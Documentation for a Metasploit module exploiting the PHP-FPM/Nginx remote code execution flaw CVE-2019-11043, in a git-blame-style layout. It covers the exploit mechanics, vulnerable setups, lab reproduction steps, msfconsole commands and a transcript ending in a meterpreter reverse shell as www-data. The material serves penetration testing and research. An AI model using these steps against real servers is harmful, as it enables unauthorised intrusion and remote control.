2020-02-17 13:06:32 +01:00
|
|
|
This module exploits an underflow vulnerability in versions 7.1.x below 7.1.33,
|
|
|
|
|
7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on Nginx. Only servers
|
|
|
|
|
with certains Nginx + PHP-FPM configurations are exploitable. This is a port of
|
|
|
|
|
the original neex's exploit code (see refs.). First, it detects the correct
|
|
|
|
|
parameters (Query String Length and custom header length) needed to trigger
|
|
|
|
|
code execution. This step determines if the target is actually vulnerable
|
|
|
|
|
(Check method). Then, the exploit sets a series of PHP INI directives to create
|
|
|
|
|
a file (`/tmp/a`) locally on the target, which enables code execution through a
|
|
|
|
|
query string parameter (`?a=<cmd>`). This is used to execute normal payload
|
|
|
|
|
stagers. Finally, this module does some cleanup by killing local PHP-FPM
|
|
|
|
|
workers (those are spawned automatically once killed) and removing the created
|
|
|
|
|
local file (`/tmp/a`).
|
2020-02-14 17:17:45 -06:00
|
|
|
|
|
|
|
|
## Vulnerable Application
|
|
|
|
|
- Install Nginx on Linux (`apt-get install nginx`)
|
|
|
|
|
- get the vulnerable PHP:
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
git clone https://github.com/php/php-src
|
|
|
|
|
# checkout the fix
|
|
|
|
|
git -C php-src checkout ab061f95ca966731b1c84cf5b7b20155c0a1c06a
|
|
|
|
|
# checkout the commit previous to the fix
|
|
|
|
|
git -C php-src checkout HEAD~1
|
|
|
|
|
```
|
|
|
|
|
|
2020-02-17 13:06:32 +01:00
|
|
|
- make sure the default Nginx configuration contains these entries and no
|
|
|
|
|
script existence checks (like `try_files`):
|
2020-02-14 17:17:45 -06:00
|
|
|
|
|
|
|
|
```
|
|
|
|
|
location ~ [^/]\.php(/|$) {
|
|
|
|
|
...
|
|
|
|
|
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
|
|
|
|
|
fastcgi_param PATH_INFO $fastcgi_path_info;
|
|
|
|
|
fastcgi_pass php:9000;
|
|
|
|
|
...
|
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
See original PoC for details: https://github.com/neex/phuip-fpizdam
|
|
|
|
|
|
2020-02-17 13:06:32 +01:00
|
|
|
An easiest way to setup a vulnerable instance is to use the docker
|
|
|
|
|
configuration provided by the author
|
|
|
|
|
(https://github.com/neex/phuip-fpizdam/tree/master/reproducer)
|
2020-02-14 17:17:45 -06:00
|
|
|
|
|
|
|
|
## Verification Steps
|
|
|
|
|
|
|
|
|
|
Preparing the target:
|
|
|
|
|
|
|
|
|
|
1. `git clone https://github.com/neex/phuip-fpizdam`
|
|
|
|
|
2. `cd phuip-fpizdam/reproducer/`
|
|
|
|
|
3. `docker build -t reproduce-cve-2019-11043 .`
|
|
|
|
|
4. `docker run --rm -p 192.168.6.6:8080:80 --name reproduce-cve-2019-11043 reproduce-cve-2019-11043`
|
|
|
|
|
|
|
|
|
|
Running the exploit:
|
|
|
|
|
|
|
|
|
|
1. `./msfconsole`
|
|
|
|
|
2. `use exploit/multi/http/php_fpm_rce`
|
|
|
|
|
4. `set RHOSTS 192.168.6.6`
|
|
|
|
|
5. `set RPORT 8080`
|
|
|
|
|
4. `set TARGETURI /script.php`
|
|
|
|
|
6. `set PAYLOAD php/meterpreter/reverse_tcp`
|
|
|
|
|
7. `set LHOST 192.168.6.6`
|
|
|
|
|
8. `run`
|
|
|
|
|
|
|
|
|
|
## Options
|
|
|
|
|
|
|
|
|
|
**TARGETURI**
|
2020-02-17 18:25:10 +01:00
|
|
|
Path to a PHP page (`/index.php` by default). This must be a valid page.
|
2020-02-14 17:17:45 -06:00
|
|
|
|
|
|
|
|
## Advanced Options
|
|
|
|
|
|
|
|
|
|
**MinQSL**
|
2020-02-17 13:06:32 +01:00
|
|
|
Minimum query string length (QSL). The QSL detection engine will iterate
|
|
|
|
|
starting from this value (1500 by default). This option is required.
|
2020-02-14 17:17:45 -06:00
|
|
|
|
|
|
|
|
**MaxQSL**
|
2020-02-17 13:06:32 +01:00
|
|
|
Maximum query string length (QSL). The QSL detection engine will iterate
|
|
|
|
|
until this value is reached (1950 by default). This option is required.
|
2020-02-14 17:17:45 -06:00
|
|
|
|
|
|
|
|
**QSLHint**
|
2020-02-17 13:06:32 +01:00
|
|
|
Query string length hint. This value will be used as a QSL candidate. Note
|
|
|
|
|
that setting this value skips the QSL detection.
|
2020-02-14 17:17:45 -06:00
|
|
|
|
|
|
|
|
**QSLDetectStep**
|
2020-02-17 13:06:32 +01:00
|
|
|
Query string length detect step. The QSL detection engine will iterate with
|
|
|
|
|
this step value (5 by default). This option is required.
|
2020-02-14 17:17:45 -06:00
|
|
|
|
|
|
|
|
**MaxQSLCandidates**
|
2020-02-17 13:06:32 +01:00
|
|
|
Maximum query string length candidates. When the number of QSL candidates
|
|
|
|
|
found during the QSL detection phase is greater than this value (10 by
|
|
|
|
|
default), this indicates that something went wrong and we were not able to
|
|
|
|
|
detect the correct values. This option is required.
|
2020-02-14 17:17:45 -06:00
|
|
|
|
|
|
|
|
**MaxQSLDetectDelta**
|
2020-02-17 13:06:32 +01:00
|
|
|
Maximum query string length detection delta. This value is the maximum
|
|
|
|
|
distance between the candidate and the extended values (10 by default). For
|
|
|
|
|
example, with a value of 20 and QSLDetectStep set to 5, candidate [1700] will
|
|
|
|
|
be extended to [1680, 1685, 1690, 1695, 1700]. This option is required.
|
2020-02-14 17:17:45 -06:00
|
|
|
|
|
|
|
|
**MaxCustomHeaderLength**
|
2020-02-17 13:06:32 +01:00
|
|
|
Maximum custom header length. This value is the maximum length that will be
|
|
|
|
|
used for the custom header during the parameters detection (256 by default).
|
|
|
|
|
This option is required.
|
2020-02-14 17:17:45 -06:00
|
|
|
|
|
|
|
|
**CustomHeaderLengthHint**
|
2020-02-17 13:06:32 +01:00
|
|
|
Custom header length hint. This value will be used as the custom header
|
|
|
|
|
length. Note that setting this value skips the custom header length
|
|
|
|
|
detection.
|
2020-02-14 17:17:45 -06:00
|
|
|
|
|
|
|
|
**DetectMethod**
|
2020-02-17 13:06:32 +01:00
|
|
|
Method that will be used to detect if the target is vulnerable. Available
|
|
|
|
|
methods:
|
|
|
|
|
|
|
|
|
|
1. `session.auto_start`: this method consist in setting the
|
|
|
|
|
`session.auto_start` PHP option to 1. If the response contains `PHPSESSID=`
|
|
|
|
|
set-cookie value, this means the PHP option has been correctly set and the
|
|
|
|
|
target is vulnerable.
|
|
|
|
|
2. `output_handler.md5`: this method consist in setting the `output_handler`
|
|
|
|
|
PHP option to `md5`. If the response is a md5 hash (16 characters), this
|
|
|
|
|
means the PHP option has been correctly set and the target is vulnerable.
|
2020-02-14 17:17:45 -06:00
|
|
|
|
2020-02-17 18:25:10 +01:00
|
|
|
**OperationMaxRetries**
|
|
|
|
|
Maximum of operation retries. Each operation will be repeated at most
|
|
|
|
|
`OperationMaxRetries` times.
|
2020-02-14 17:17:45 -06:00
|
|
|
|
|
|
|
|
## Scenarios
|
|
|
|
|
|
|
|
|
|
### Ubuntu 18.04 + nginx 1.14.0 + PHP 7.1.33dev (fpm-fcgi) (built: Feb 14 2020 16:48:15)
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
msf5 > use exploit/multi/http/php_fpm_rce
|
|
|
|
|
msf5 exploit(multi/http/php_fpm_rce) > set RHOSTS 192.168.6.6
|
|
|
|
|
RHOSTS => 192.168.6.6
|
|
|
|
|
msf5 exploit(multi/http/php_fpm_rce) > set RPORT 8080
|
|
|
|
|
RPORT => 8080
|
|
|
|
|
msf5 exploit(multi/http/php_fpm_rce) > set TARGETURI /script.php
|
|
|
|
|
TARGETURI => /script.php
|
|
|
|
|
msf5 exploit(multi/http/php_fpm_rce) > set PAYLOAD php/meterpreter/reverse_tcp
|
|
|
|
|
PAYLOAD => php/meterpreter/reverse_tcp
|
|
|
|
|
msf5 exploit(multi/http/php_fpm_rce) > set LHOST 192.168.6.6
|
|
|
|
|
LHOST => 192.168.6.6
|
|
|
|
|
msf5 exploit(multi/http/php_fpm_rce) > run
|
|
|
|
|
|
|
|
|
|
[*] Started reverse TCP handler on 192.168.6.6:4444
|
|
|
|
|
[*] Sending baseline query...
|
|
|
|
|
[*] Detecting QSL...
|
|
|
|
|
[+] The target is probably vulnerable. Possible QSLs: [1765]
|
|
|
|
|
[*] Doing sanity check...
|
|
|
|
|
[*] Detecting attack parameters...
|
|
|
|
|
[+] Parameters found: QSL=1760, customh_length=69
|
|
|
|
|
[+] Target is vulnerable!
|
|
|
|
|
[*] Performing attack using php.ini settings...
|
|
|
|
|
[+] Success! Was able to execute a command by appending 'which+which'
|
|
|
|
|
[*] Trying to cleanup /tmp/a...
|
|
|
|
|
[+] Cleanup done!
|
|
|
|
|
[*] Sending payload...
|
|
|
|
|
[*] Sending stage (38288 bytes) to 192.168.6.6
|
|
|
|
|
[*] Meterpreter session 1 opened (192.168.6.6:4444 -> 192.168.6.6:59177) at 2020-02-14 12:03:45 -0600
|
|
|
|
|
[+] Session created
|
|
|
|
|
[*] Remove /tmp/a and kill workers...
|
|
|
|
|
[+] Done!
|
|
|
|
|
|
|
|
|
|
meterpreter > getuid
|
|
|
|
|
Server username: www-data (33)
|
|
|
|
|
meterpreter > sysinfo
|
|
|
|
|
Computer : 832efebeac57
|
|
|
|
|
OS : Linux 832efebeac57 4.9.184-linuxkit #1 SMP Tue Jul 2 22:58:16 UTC 2019 x86_64
|
|
|
|
|
Meterpreter : php/linux
|
|
|
|
|
meterpreter >
|
|
|
|
|
```
|